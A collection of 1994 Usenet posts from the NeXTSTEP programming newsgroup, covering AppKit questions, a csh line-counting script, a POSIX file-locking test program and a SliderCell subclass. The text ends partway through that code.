From: bjohnson@nevis.verity.com (Brett M. Johnson) Newsgroups: comp.sys.next.programmer Subject: Re: Multi Scrolling Kills Performance Date: 13 May 1994 02:00:50 GMT Organization: Verity Inc. - Home of TOPIC Text Retreive System. Message-ID: <2qun0i$hfs@hawaii.verity.com> References: <2qm92i$1c7g@obelix.uni-muenster.de> In article <2qm92i$1c7g@obelix.uni-muenster.de> beneke@asterix.uni-muenster.de (Wolfgang Beneke) writes: > > I have a performance problem by scrolling two ScrollViews with one Slider. > One ScrollView gets a Slider and the other is scrolled by the first Scroll- > View. > You should use tile: in conjunction with scrollClip:to: to scroll multiple views with a single scroller. Make clipViews of all the scrolling region subviews of your scrollView and use tile: to arrange them. scrollClip:to: then calls rawScroll: for each of the clipRegions. I will email you an example (too big to post here). Brett Johnson
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: serial port programming Date: 13 May 1994 07:10:09 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May13081009@steffi.demon.co.uk> References: <2quheh$77c@nntp.ucs.ubc.ca> To: Olav Anderson In-reply-to: Olav Anderson's message of 13 May 1994 00:25:53 GMT You might want to check out the MiscKit's serial port object. Somebody point him to the misckit please... ftp.byu.edu I think... -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: brianw@sounds.wa.com (Brian Willoughby) Subject: Re: How to use a storage object. Message-ID: <CpqIu8.I4M@sounds.wa.com> Organization: Sound Consulting, Bellevue, WA, USA References: <1994May2.233953.14051@biztech.com> <1994May5.211731.7111@afs.com> Date: Fri, 13 May 1994 09:39:44 GMT In article <1994May5.211731.7111@afs.com> jaime@afs.com (Jaime Guerrero) writes: >> In article <1994May2.233953.14051@biztech.com> cousens@biztech.com >> writes: >> typedef struct { >> char itemName[10]; >> double itemCost; >> } ITEMSTRUCT; >> >> theStore=[[Storage allocFromZone:[self zone]] >> initCount:0 >> elementSize:sizeof(ITEMSTRUCT) >> description:"{[10c]d}"]; > >It is better practice to use the @encode directive-- > theStore=[[Storage allocFromZone:[self zone]] > initCount:0 > elementSize:sizeof(ITEMSTRUCT) > description:@encode(ITEMSTRUCT)]; >for the same reason you use sizeof() rather than a constant. That way, you >can change the typedef contents without having to update all descriptions >of it. This sounded like a good recommendation - and I almost rushed to modify some code I had recently written - except there is one serious hitch to consider. Check out the Class Description in Storage.rtf: " Most of these codes are identical to ones that would be returned by the @encode() compiler directive. However, there are some differences: * A structure description can contain only encoded type information between the braces. It can't include a full type name or structure name. * The `%' descriptor specifies a unique string pointer. When the pointer is unarchived, the NXUniqueString() function is called to make sure that it's also unique within the new context. * The `!' descriptor marks data that won't be archived. Each occurrence of `!' instructs the archiver to skip data the size of an int. * A few @encode() descriptorsPsuch as the ones for pointers, bitfields, and undefined typesPshould not be used. Use only the codes shown in the table above. " I decided not to change my code afterall. I stuck with defining a global string in the header next to the struct declaration. i.e. extern char *... with a comment to warn me to keep both in sync at all times. -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
From: pmarc@allanon.math.byu.edu (Paul Cardon) Newsgroups: comp.sys.next.programmer Subject: Re: last login of a user under a NeXT network??? Date: 13 May 1994 14:18:49 GMT Organization: Brigham Young University Message-ID: <2r0289$ine@hamblin.math.byu.edu> References: <2qt1r6$3ha@usenet.INS.CWRU.Edu> In article <2qt1r6$3ha@usenet.INS.CWRU.Edu> dv828@cleveland.Freenet.Edu (Frederique Sacristan) writes: > > Do you know if there is a C function to obtain the date of > the last login of a user inside a NeXT network, and not only > on a given station (not the "last" command :-) ). I'm assuming you have a specific user in mind. In that case, the code for GNU finger 1.3.7 should give you some ideas on how to do it. Now if only I could get this blasted program to work with NS. It compiles cleanly, but terminates with memory allocation errors. :-( It works great with HP-UX (one of the few things that works better with HP-UX than NS). -- Paul M. Cardon President of Provo-Orem NeXTSTEP User and Developer Group (PoNG) NeXTSTEP and HP System Manager Math Department - Brigham Young University DOS - The Ultimate Blivet
From: cdb@xedoc.com.au (Cameron Bromley) Newsgroups: comp.sys.next.programmer Subject: Perl 'undump' - anyone have it? Date: 12 May 1994 07:24:07 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2qslin$fme@yarrina.connect.com.au> Keywords: perl undump next Hi, I'm looking for the 'undump' command which some versions of perl have. I need it for black 3.0 and MAB 3.x. I have read the FAQ, looked in the TeX distribution, etc. Thanks, Cameron. --- ---------------------------------------------------------------- Cameron Bromley cdb@xedoc.com.au Xedoc Software Development Pty. Ltd. Fax +61-3-696-6757 222 Park St., Phone +61-3-696-2490 South Melbourne VIC, 3206 Australia
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: Counting lines of code [a 67-liner] Message-ID: <1994May13.153035.28028@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2qtjj4$kvp@cerberus.wsc.com> Date: Fri, 13 May 94 15:30:35 GMT In article <2qtjj4$kvp@cerberus.wsc.com> samurai@hasc.ca (Darcy Brockbank) writes: > > Just a comment ;-) : > > I thought that comments were supposed to be counted as > lines of code, since they mean time devoted to proper > documentation, and must be maintained as well, just > as the C (or whatever lang.) code. > [deleted] > > Discuss. ;-). > > - darcy Since you brought up a quite valid point, I have taken the liberty of correcting my script. The new -c flag allows you to count comments in the total. While this is running you can talk about dogs, daughters, coffee, New York; you know, no big whoop. ------------------------------< cut here>------------------------------ #!/bin/csh -f # # linesofcode # Count lines of code and (optionally) comments in a file or directory. # Options: # -i Display counts for individual files # -c Include comments in the final tally # -f <filter> Use <filter>, a regular expression, to filter the # file types from a directory. # # Best viewed if your windows are in 3-space tabs. I code wide, too. # set individual = 0 set args = ( ) set CPP = "/lib/cpp" set FTYPE_FILTER = '*.[hmc]' while ( $#argv > 0 ) switch ( $1 ) case "-i" set individual = 1 breaksw case "-c" set CPP = "/bin/cat" breaksw case "-f" set FTYPE_FILTER = "$2" shift breaksw default: set args = ( $args $1 ) breaksw endsw shift end if ( $#args == 0 ) then set args = ( . ) endif set total = 0 set numfiles = 0 foreach dir ($args) if ( -f $dir ) then set files = $dir else set files = ( $dir/$FTYPE_FILTER ) endif if ( $#files > 0 ) then @ numfiles = $numfiles + $#files foreach file ( $files ) set lines = `cat $file | sed -e '/^[ \t]*#/d' | $CPP | sed -e '/^[ \t]*$/d' -e '/#/d' | wc -l` set printlines = `echo $lines | awk '{ printf("%07d",$1) }'` if ( $individual == 1 ) then if ( $lines == 0 ) then echo " 0" $file else echo "`echo $printlines | sed -e 's/\([1-9%]\)0/\1%/g' -e 's/%0/%%/g' -e 's/%0/%%/g' -e 's/0/ /g' -e 's/%/0/g'`" $file endif endif @ total = $total + $lines end endif end echo -n $total total lines of code in $numfiles file if ( $numfiles == 1 ) then echo "" else echo s endif ------------------------------< cut here>------------------------------ - Drew -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "Computers are useless. They can | | First National Bank of Chicago | only give you answers." | | drew@fnbc.com (NeXTmail) | - Pablo Picasso | +--------< All opinions expressed here are mine and mine alone >---------+
From: erland@spock.physik.uni-konstanz.de (Erland Wittkoetter) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Programming in Edit ? : Page up/down on a CommandKey Date: 13 May 1994 18:44:14 GMT Organization: University of Constance Message-ID: <2r0hpu$h7h@hermes.uni-konstanz.de> Hello Unfortunately I miss one ability in Edit. On PC's we have extra page up / page down keys which make it pretty fast if you prefer to work only with your keyboard. I really miss this ability. But maybe there is a way to implement this also in the current version of Edit. Is there any expert out there, who has already find out how to do this. I have seen, that there is an option: "emacs key binding". Is there a a way to program keys similar to Emacs (I mean in a much simpler way !). If someone has already an solution for this, I would appreciate if this expert could send me or to the whole group some hints. If this is not the case, Next should take this question as an suggestions for an improvement of Edit in NS 3.3 or 4.0. Best wishes Erland -- -_-_-_-_-_-_-_-_-_-_-_-_- Erland Wittkoetter -_-_-_-_-_-_-_-_-_-_-_-_ Uni Konstanz, Dept.of Physics, LS Dehnen, PO.Box 5560, 78434 Konstanz Phone: +(49) 7531-88-3747 FAX. +(49) 7531-88-3888 (priv.) Abendbergweg 7, 78465 Konstanz,Germany, Phone:+(49)7531-43078 E-mail: Erland.Wittkoetter@uni-konstanz.de -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: altering choice in PopUpList from program Date: 13 May 1994 19:54:12 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2r0lt4$h29@marsupial.jpl.nasa.gov> Keywords: PopUpList I have a PopUpList. Sometimes there's an action taken that I want to reflect in the PopUpList's selected cell. The following code does indeed change the selected cell in the matrix associated with the popup list, but the change is not reflected graphically on-screen: id matrix; matrix = [myPopUpList itemList]; [matrix selectCellWithTag:currentSarDataFile->rcvTransSarPolarType]; I've tried changing the title of the PopUpList's trigger button and this doesn't work either. Can someone tell me how to do this? Thanks. -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($D@:&%V92!A(%!O M<%5P3&ES="X@(%-O;65T:6UE<R!T:&5R92=S(&%N(&%C=&EO;EP*=&%K96X@ M=&AA="!)('=A;G0@=&\@<F5F;&5C="!I;B!T:&4@4&]P57!,:7-T)W-<"G-E M;&5C=&5D(&-E;&PN("!4:&4@9F]L;&]W:6YG(&-O9&4@9&]E<R!I;F1E961< M"F-H86YG92!T:&4@<V5L96-T960@8V5L;"!I;B!T:&4@;6%T<FEX(&%S<V]C M:6%T961<"G=I=&@@=&AE('!O<'5P(&QI<W0L(&)U="!T:&4@8VAA;F=E(&ES M(&YO="!R969L96-T961<"F=R87!H:6-A;&QY(&]N+7-C<F5E;CI<"EP*:60) M;6%T<FEX.UP*7`IM871R:7@@/2!;;7E0;W!5<$QI<W0@:71E;4QI<W1=.UP* M6VUA=')I>"!S96QE8W1#96QL5VET:%1A9SIC=7)R96YT4V%R1&%T849I;&4M M/G)C=E1R86YS4V%R4&]L87)4>7!E73L@7`I<"DDG=F4@=')I960@8VAA;F=I M;F<@=&AE('1I=&QE(&]F('1H92!0;W!5<$QI<W0G<R!T<FEG9V5R(&)U='1O M;EP*86YD('1H:7,@9&]E<VXG="!W;W)K(&5I=&AE<BX@($-A;B!S;VUE;VYE M('1E;&P@;64@:&]W('1O(&1O7`IT:&ES/R`@5&AA;FMS+@D)"0DM2F]H;EP* #"GT* `
From: smith@nextone.niehs.nih.gov (Howard C. Smith) Newsgroups: comp.sys.next.programmer Subject: Sybase Admins: question Date: 13 May 1994 20:11:59 GMT Organization: The National Institute of Environmental Health Sciences Message-ID: <2r0muf$oj6@jeeves.niehs.nih.gov> Keywords: sybase default_user Does anyone know what default Sybase username IB attempts to connect to the database with to retrieve avail databases? SA or current user name? Thanks! -- Howard C. Smith National Institute of Environmental Health Sciences 111 T.W. Alexander Drive Research Triangle Park, NC 27709 smith@nextone.niehs.nih.gov
From: patersk@gb.swissbank.com (Kevin Paterson ) Newsgroups: comp.sys.next.programmer Subject: Re: Off Screen Windows without Workspace Manager Date: 13 May 1994 10:21:02 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2qvkae$5c9@gpo.gb.swissbank.com> Hi I require to run an application, which has only off screen windows and loads nibs, without logging into the Workspace. Can this be done ? Thanks Kevin Swiss Bank Corp., London. PS Anyone to respond before Robert Nicholson wins a Tim Bissel shirt icon courtesy of Guy Roberts.
From: Olav Anderson Newsgroups: comp.sys.next.programmer Subject: what is .gz file extension? Is it the gzip compresion utility? Date: 13 May 1994 21:31:20 GMT Organization: The University of British Columbia Distribution: world Message-ID: <2r0rj8$bm0@nntp.ucs.ubc.ca> ___________________________________________________ B.Olav Anderson Autodidact NeXTSTEP CyberSurfer e-mail olav@emerson.physics.ubc.ca NeXT Mail? Of course! Vancouver, B.C. "I know of no more encouraging fact than the unquestionable ability of man to elevate his life by a conscious endeavor." H.D.Thoreau
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: Re: altering choice in PopUpList... Date: 13 May 1994 21:23:34 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2r0r4n$l5d@marsupial.jpl.nasa.gov> Keywords: PopUpList, title Here's the answer, which I stumbled onto, in code form with comments. -John id matrix; /* polarizationSelector is the id for the PopUpList; polarizationSelectorButton is the id for the popup list's trigger button; matrix is the Matrix associated with the PopUpList. */ matrix = [polarizationSelector itemList]; if([[matrix selectedCell] tag] != currentSarDataFile->rcvTransSarPolarType) { [matrix selectCellWithTag:currentSarDataFile->rcvTransSarPolarType]; /* for some reason, [[matrix selectedCell] stringValue] returns "", so setting the trigger button's title to "" adds a cell to the matrix, which is NOT what I want. I have to use [polarizationSelector selectedItem] to get the string value for the cell selected by the previous line of code. Setting the button's title to this does the right thing. */ [polarizationSelectorButton setTitle:[polarizationSelector selectedItem]]; } -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($AE<F4G<R!T:&4@ M86YS=V5R+"!W:&EC:"!)('-T=6UB;&5D(&]N=&\L(&EN(&-O9&4@9F]R;2!W M:71H(&-O;6UE;G1S+EP*+4IO:&Y<"EP*7`H@("`@:60)"6UA=')I>#M<"EP* M+RI<"B`@("!P;VQA<FEZ871I;VY396QE8W1O<B!I<R!T:&4@:60@9F]R('1H M92!0;W!5<$QI<W0[(%P*("`@('!O;&%R:7IA=&EO;E-E;&5C=&]R0G5T=&]N M(&ES('1H92!I9"!F;W(@=&AE('!O<'5P(&QI<W0G<R!T<FEG9V5R(&)U='1O M;CM<"B`@("!M871R:7@@:7,@=&AE($UA=')I>"!A<W-O8VEA=&5D('=I=&@@ M=&AE(%!O<%5P3&ES="Y<"BHO7`I<"B`@("!M871R:7@@/2!;<&]L87)I>F%T M:6]N4V5L96-T;W(@:71E;4QI<W1=.UP*("`@(&EF*%M;;6%T<FEX('-E;&5C M=&5D0V5L;%T@=&%G72`A/2!C=7)R96YT4V%R1&%T849I;&4M/G)C=E1R86YS M4V%R4&]L87)4>7!E*2!<>UP*("`@("`@6VUA=')I>"!S96QE8W1#96QL5VET M:%1A9SIC=7)R96YT4V%R1&%T849I;&4M/G)C=E1R86YS4V%R4&]L87)4>7!E M73M<"B\J7`H@("`@9F]R('-O;64@<F5A<V]N+"!;6VUA=')I>"!S96QE8W1E M9$-E;&Q=('-T<FEN9U9A;'5E72!R971U<FYS("(B+"!S;R!S971T:6YG7`H@ M("`@=&AE('1R:6=G97(@8G5T=&]N)W,@=&ET;&4@=&\@(B(@861D<R!A(&-E M;&P@=&\@=&AE(&UA=')I>"P@=VAI8V@@:7,@3D]47`H@("`@=VAA="!)('=A M;G0N("!)(&AA=F4@=&\@=7-E(%MP;VQA<FEZ871I;VY396QE8W1O<B!S96QE M8W1E9$ET96U=('1O(&=E="!T:&5<"B`@("!S=')I;F<@=F%L=64@9F]R('1H M92!C96QL('-E;&5C=&5D(&)Y('1H92!P<F5V:6]U<R!L:6YE(&]F(&-O9&4N M("!3971T:6YG7`H@("`@=&AE(&)U='1O;B=S('1I=&QE('1O('1H:7,@9&]E M<R!T:&4@<FEG:'0@=&AI;F<N7`HJ+UP*("`@("`@6W!O;&%R:7IA=&EO;E-E M;&5C=&]R0G5T=&]N('-E=%1I=&QE.EMP;VQA<FEZ871I;VY396QE8W1O<B!S ;96QE8W1E9$ET96U=73M<"B`@("!<?5P*"GT* `
From: michelle@meaddata.com (Michelle Buck) Newsgroups: comp.sys.next.programmer Subject: void NXRectFillListWithGrays(const NXRect *rects, const float *grays, int count) Date: 13 May 1994 22:07:04 GMT Organization: Mead Data Central, Dayton OH Message-ID: <2r0tm8$hdd@meaddata.meaddata.com> For those who are interested. By experimenting, I have determined that void NXRectFillListWithGrays(const NXRect *rects, const float *grays, int count) has a maximum limit of 33 rects per invokation. This limit is not described in any documentation that I could find. This is true for 3.1. - Erik
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Re: Programming in Edit ? : Page up/down on a CommandKey Date: 13 May 1994 20:40:00 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May13214000@steffi.demon.co.uk> References: <2r0hpu$h7h@hermes.uni-konstanz.de> To: erland@spock.physik.uni-konstanz.de (Erland Wittkoetter) In-reply-to: erland@spock.physik.uni-konstanz.de's message of 13 May 1994 18:44:14 GMT <erland@spock.physik.uni-konstanz.de> writes: >Hello >Unfortunately I miss one ability in Edit. On PC's we have extra >page up / page down keys which make it pretty fast if you prefer to >work only with your keyboard. I really miss this ability. But maybe >there is a way to implement this also in the current version >of Edit. Is there any expert out there, who has already find out >how to do this. >I have seen, that there is an option: "emacs key binding". Is there a >a way to program keys similar to Emacs (I mean in a much simpler >way !). Here's a thought. perhaps you could submit a request to Brian at NeXT and perhaps if you're really lucky you'll see it in NS3.3... Meanwhile I continue to use Emacs for NS Oh assuming of course that you aren't more comfortable using the mouse :-) -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: petcher@howdy.wustl.edu (Donald N. Petcher) Subject: Moving a project from 2.1 to 3.0 ... ? Message-ID: <1994May13.213753.24389@wuphys.wustl.edu> Sender: usenet@wuphys.wustl.edu (USENET) Organization: Physics Dept, Washington U in St Louis Date: Fri, 13 May 1994 21:37:53 GMT I am a newbie at NEXTSTEP programming (although not at NEXTSTEP or at programming) and I thought I would start by hacking some code that a friend of mine wrote, while working through Garfinkel and Mahoney. The problem is that the code was developed under NEXTSTEP 2.1 and I am having trouble getting it into ProjectBuilder under 3.x. There is a file called foo_main.m that is created by InterfaceBuilder (or so it says - it looks like it is hacked as well) which contains information about the various links to the interface (among other things such as the main loop). When I open the app in ProjectBuilder it says that this is old style code and must be converted. If I say yes, it rewrites foo_main.m and loses all the information there. Consequently the linker is not satisfied when it comes time to link. The program compiles and links fine (before the changes by ProjectBuilder) using unix make "by hand". Is there something simple I am missing that will get it properly converted, or is it possible that if all the conventional rules were not followed when this code was written that it could turn out to be an arduous task? Another question: why does ProjectBuilder sometimes call up Edit and sometimes call up emacs when I ask it to edit a file? Where does it determine what editor to use, and is it possible to have it use a third editor instead? There is nothing related to this in preferences, and I haven't been able to track down the info in the docs. Thanks. Cheers, Don Petcher
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: altering choice in PopUpList from program Date: 13 May 1994 22:29:39 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May13232939@steffi.demon.co.uk> References: <2r0lt4$h29@marsupial.jpl.nasa.gov> To: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) In-reply-to: hamps@richibucto.jpl.nasa.gov's message of 13 May 1994 19:54:12 GMT <hamps@richibucto.jpl.nasa.gov> writes: >I have a PopUpList. Sometimes there's an action >taken that I want to reflect in the PopUpList's >selected cell. The following code does indeed >change the selected cell in the matrix associated >with the popup list, but the change is not reflected >graphically on-screen: >id matrix; >matrix = [myPopUpList itemList]; [matrix selectCellWithTag:currentSarDataFile->rcvTransSarPolarType]; Add this. >>>>>>>[buttonidviaoutlet setTitleNoCopy:[[matrix selectedCell] title]] -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: foxm@spot.Colorado.EDU (Mike Fox) Subject: POSIX strangeness??? Message-ID: <CprF3t.6x@cnsnews.Colorado.EDU> Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator) Organization: University of Colorado, Boulder Date: Fri, 13 May 1994 21:16:41 GMT I was writing a program in which more than one child process writes its status to a file that the parent process creates. When I compiled the program with -posix, I noticed some strange behavior which I've replicated in the following program. The program forks, and each process writes its value at the end of the file. Now, the strange part. If one does a tail -f or cats the file while it's being written, the processes write NULL characters to the file. If one lets the processes finish writing, all is well. Without the -posix compile flag, all is well. I've tried it on both 3.2 Moto and Intel with the same results. I've also tried the same program on OSF/1, Ultrix, Linux, and AIX and it's worked. Is this a case of "POSIX, just say no?", or have made some error? Mike ------------------------------------------------- /* * A test of file advisory locking * Compiled with: -g -Wall -posix */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/file.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #define TMPFILE "/tmp/lock" int flock(); long random(); void srandom(int); int lock_file(int fd) { if (flock(fd, LOCK_EX) != 0) return 0; return 1; } /* end lock_file */ int unlock_file(int fd) { if (flock(fd, LOCK_UN) != 0) return 0; return 1; } /* end unlock_file */ int main() { int file_fd; int my_pid, parent_pid; int i; char filename[255]; FILE *fileHandle; /* * Make a filename and open the file. The name * always contains the pid of the parent process. */ filename[0] = '\0'; strcat(filename, TMPFILE); sprintf(&filename[strlen(TMPFILE)],"%d",getpid()); file_fd = open(filename, O_RDWR | O_CREAT, S_IREAD | S_IWRITE); if (file_fd < 0) { (void) fprintf(stderr, "Couldn't open %s\n", filename); exit(-1); }; parent_pid = getpid(); (void) fork(); my_pid = getpid(); srandom(my_pid); fileHandle = fdopen(file_fd, "r+"); if (fileHandle == (FILE *)NULL) { (void) fprintf(stderr, "%d couldn't create stream\n", my_pid); exit(-1); }; for(i=0; i<20; i++) { /* * Wait a bit */ sleep(random()%5); /* * Lock the file, seek to the end, and write the value */ (void) lock_file(file_fd); fseek(fileHandle, 0L, SEEK_END); (void) fprintf(fileHandle,"Process: %d writes: %d\n", my_pid, i); (void) fflush(fileHandle); (void) unlock_file(file_fd); }; if (fclose(fileHandle) !=0) (void) fprintf(stderr,"%d couldn't close stream\n", my_pid); if (parent_pid == my_pid) { (void) printf("Parent %d\n", my_pid); (void)close(file_fd); } else (void) printf("Child %d\n", my_pid); return 1; } /* end main */
From: m_cooper@cooper.demon.co.uk (Matthew Adam Cooper) Newsgroups: comp.sys.next.programmer Subject: DBTableView - Shift-clicking Date: 14 May 1994 00:00:50 +0100 Message-ID: <2r10r2$dfc@cooper.demon.co.uk> Hi. I have a DBTableView in DB_LISTMODE. I won't to select and deslect vectors in the same way as Shift-clicking but with out the shift key. Thank You. -- 6 Bruce Avenue Phone : (England) 0903 505406 Worthing, West Sussex. E-mail : m_cooper@cooper.demon.co.uk England BN11 5JN (NeXTmail)
Newsgroups: comp.sys.next.programmer From: matthews@skipjack.cs.wwu.edu (Geoffrey Matthews) Subject: clisp for intel Message-ID: <1994May13.231530.11298@henson.cc.wwu.edu> Sender: news@henson.cc.wwu.edu (USENET-WWU) Organization: Western Washington University Date: Fri, 13 May 1994 23:15:30 GMT Has anyone successfully compiled clisp for NS intel?
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: How to use a storage object. Message-ID: <CprrHx.7v2@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <1994May2.233953.14051@biztech.com> <1994May5.211731.7111@afs.com> <CpqIu8.I4M@sounds.wa.com> Date: Sat, 14 May 1994 01:43:55 GMT Brian Willoughby (brianw@sounds.wa.com) wrote: : In article <1994May5.211731.7111@afs.com> jaime@afs.com (Jaime Guerrero) writes: : >> In article <1994May2.233953.14051@biztech.com> cousens@biztech.com : >> writes: : >> typedef struct { : >> char itemName[10]; : >> double itemCost; : >> } ITEMSTRUCT; : >> : >> theStore=[[Storage allocFromZone:[self zone]] : >> initCount:0 : >> elementSize:sizeof(ITEMSTRUCT) : >> description:"{[10c]d}"]; : > : >It is better practice to use the @encode directive-- : > theStore=[[Storage allocFromZone:[self zone]] : > initCount:0 : > elementSize:sizeof(ITEMSTRUCT) : > description:@encode(ITEMSTRUCT)]; : >for the same reason you use sizeof() rather than a constant. That way, you : >can change the typedef contents without having to update all descriptions : >of it. : This sounded like a good recommendation - and I almost rushed to modify some : code I had recently written - except there is one serious hitch to consider. : Check out the Class Description in Storage.rtf: ... So, when I saw this originally I said to myself, "Self, this looks like a good place for an object to encapsulate that data and then use the List to manage the order. I'm still sorta thinking that while that wouldn't be much overhead and not necessarily part of an object-oriented plan it is more straight forward that using the 'silly' Storage object. 'Silly' is my word for it as it's never really been my friend. Perhaps it was my problem, but I never understood WHAT it copied and WHEN it copied it. Thus, we never got along even after I figured it out HOW it was supposed to work. Since then I've always built objects to encapsulate the structure I'm working with. Just my babbling... peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@cfa.org
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: NXMapTable Message-ID: <1994May13.223932.18767@biztech.com> Keywords: structures Sender: news@biztech.com Organization: Biztech, Inc. Date: Fri, 13 May 1994 22:39:32 GMT Does anyone know what NeXT's new (to 3.X and higher) NXMapTable struct look like? Anyone...Anyone?? Rik (cousens@biztech.com) -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($1O97,@86YY;VYE M(&MN;W<@=VAA="!.95A4)W,@;F5W("AT;R`S+E@@86YD(&AI9VAE<BD@3EA- M87!486)L92!S=')U8W0@;&]O:R!L:6ME/UP*7`I!;GEO;F4N+BY!;GEO;F4_ C/UP*7`I2:6L@*&-O=7-E;G-`8FEZ=&5C:"YC;VTI7`H*?0HN `
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Help needed subclassing SliderCell Message-ID: <1994May13.195724.1508@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <gelatoCpMynn.E5I@netcom.com> Date: Fri, 13 May 1994 19:57:24 GMT In article <gelatoCpMynn.E5I@netcom.com> gelato@netcom.com (Steve James) writes: > I'm trying to sublcass SliderCell to impose some restrictions on the value > of the cell (eg, to ensure the value is an even multiple of, say, .003125). > I thought I could get away with just overriding continueTracking:at:inView:, > calling super, and then fixing up the value of the "value" instance variable > per my restrictions. This works 99+% of the time, but every once in a while > a one-pixel-wide vertical line is left behind when the knob is being dragged. > > I can kinda see how this could happen, if the cell doesn't store the x coord > of where it last drew the knob, but recomputes it from the value; if my > modified value maps to a different x coord, it gets screwed up. > > Does anybody have any ideas how to fix this slight problem or have a > suggestion on a better (or the "right") way to do the subclass? I > couldn't locate any source on the archives that did this. I don't know if this is the "right" way, but it's worked since '89: /************************************************************************* * Copyright (c) 1989,1990 Stone Design Corp. All rights reserved. ************************************************************************** */ #import <appkit/SliderCell.h> @interface SliderCellFine:SliderCell { id textPal; // cached for speed & archive float altStep; // these could be doubles float defaultValue; float defaultMax; float defaultMin; struct _scfFlags { unsigned int isWhole:1; /* whether integer format */ unsigned int isDecimal:1; /* whether currently in decimal mode */ unsigned int allowLower:1; /* whether can go lower than min */ unsigned int allowHigher:1; /* whether can go higher than max */ unsigned int sendContinuously:1;/* whether we send action always */ unsigned int PADDING:11; /* pad to 16 */ } scfFlags; } - init; - increment; - decrement; - (float)checkValue:(float)val; - (BOOL) isDecimal; - (BOOL)continueTracking:(const NXPoint *)lastPoint // here is the work! at:(const NXPoint *)currentPoint inView:controlView; - setAltStep:(float)step whole:(BOOL)flag default:(float)val; - setMax:(float)max allowHigher:(BOOL)hi min:(float)min allowLower:(BOOL)lo; // archive methods: - read:(NXTypedStream *)stream; - write:(NXTypedStream *)stream; - _setAlwaysSendUpAction:(BOOL)flag; - setDefault:(float) def; - setTextPal:anObject; @end /************************************************************************* * * * Object Name: SliderCellFine * *------------------------------------------------------------------------- - * History: * * Date Initials Comment * Sun Jan 21 21:46:32 GMT-0700 1990 acs *------------------------------------------------------------------------- - * * Description: The workhorse partner of SliderDualActing * *------------------------------------------------------------------------- - * Programmer:droid * Copyright (c) 1989,1990 Stone Design Corp. All rights reserved. ************************************************************************** */ #import "../stone.h" /* Dragging 'resolution' of slider: how much the slider changes by */ #define FINE .5 /* reduce altStep to 50% */ #define SUPERFINE .25 /* reduce altStep to 25% */ @interface SliderCellFine(PrivateMethods) - writeThemFlags; @end @implementation SliderCellFine + initialize { [self setVersion:300]; /* class version */ return self; } - init { //sane defaults [super init]; [self setAltStep:1. whole:YES default:50.]; [self setMax:100. allowHigher:YES min:0. allowLower:YES]; return self; } - increment { if (value+altStep <= maxValue) value += altStep; else if (scfFlags.allowHigher) { [self setMaxValue:value+altStep]; value += altStep; } else return nil; // failed to work 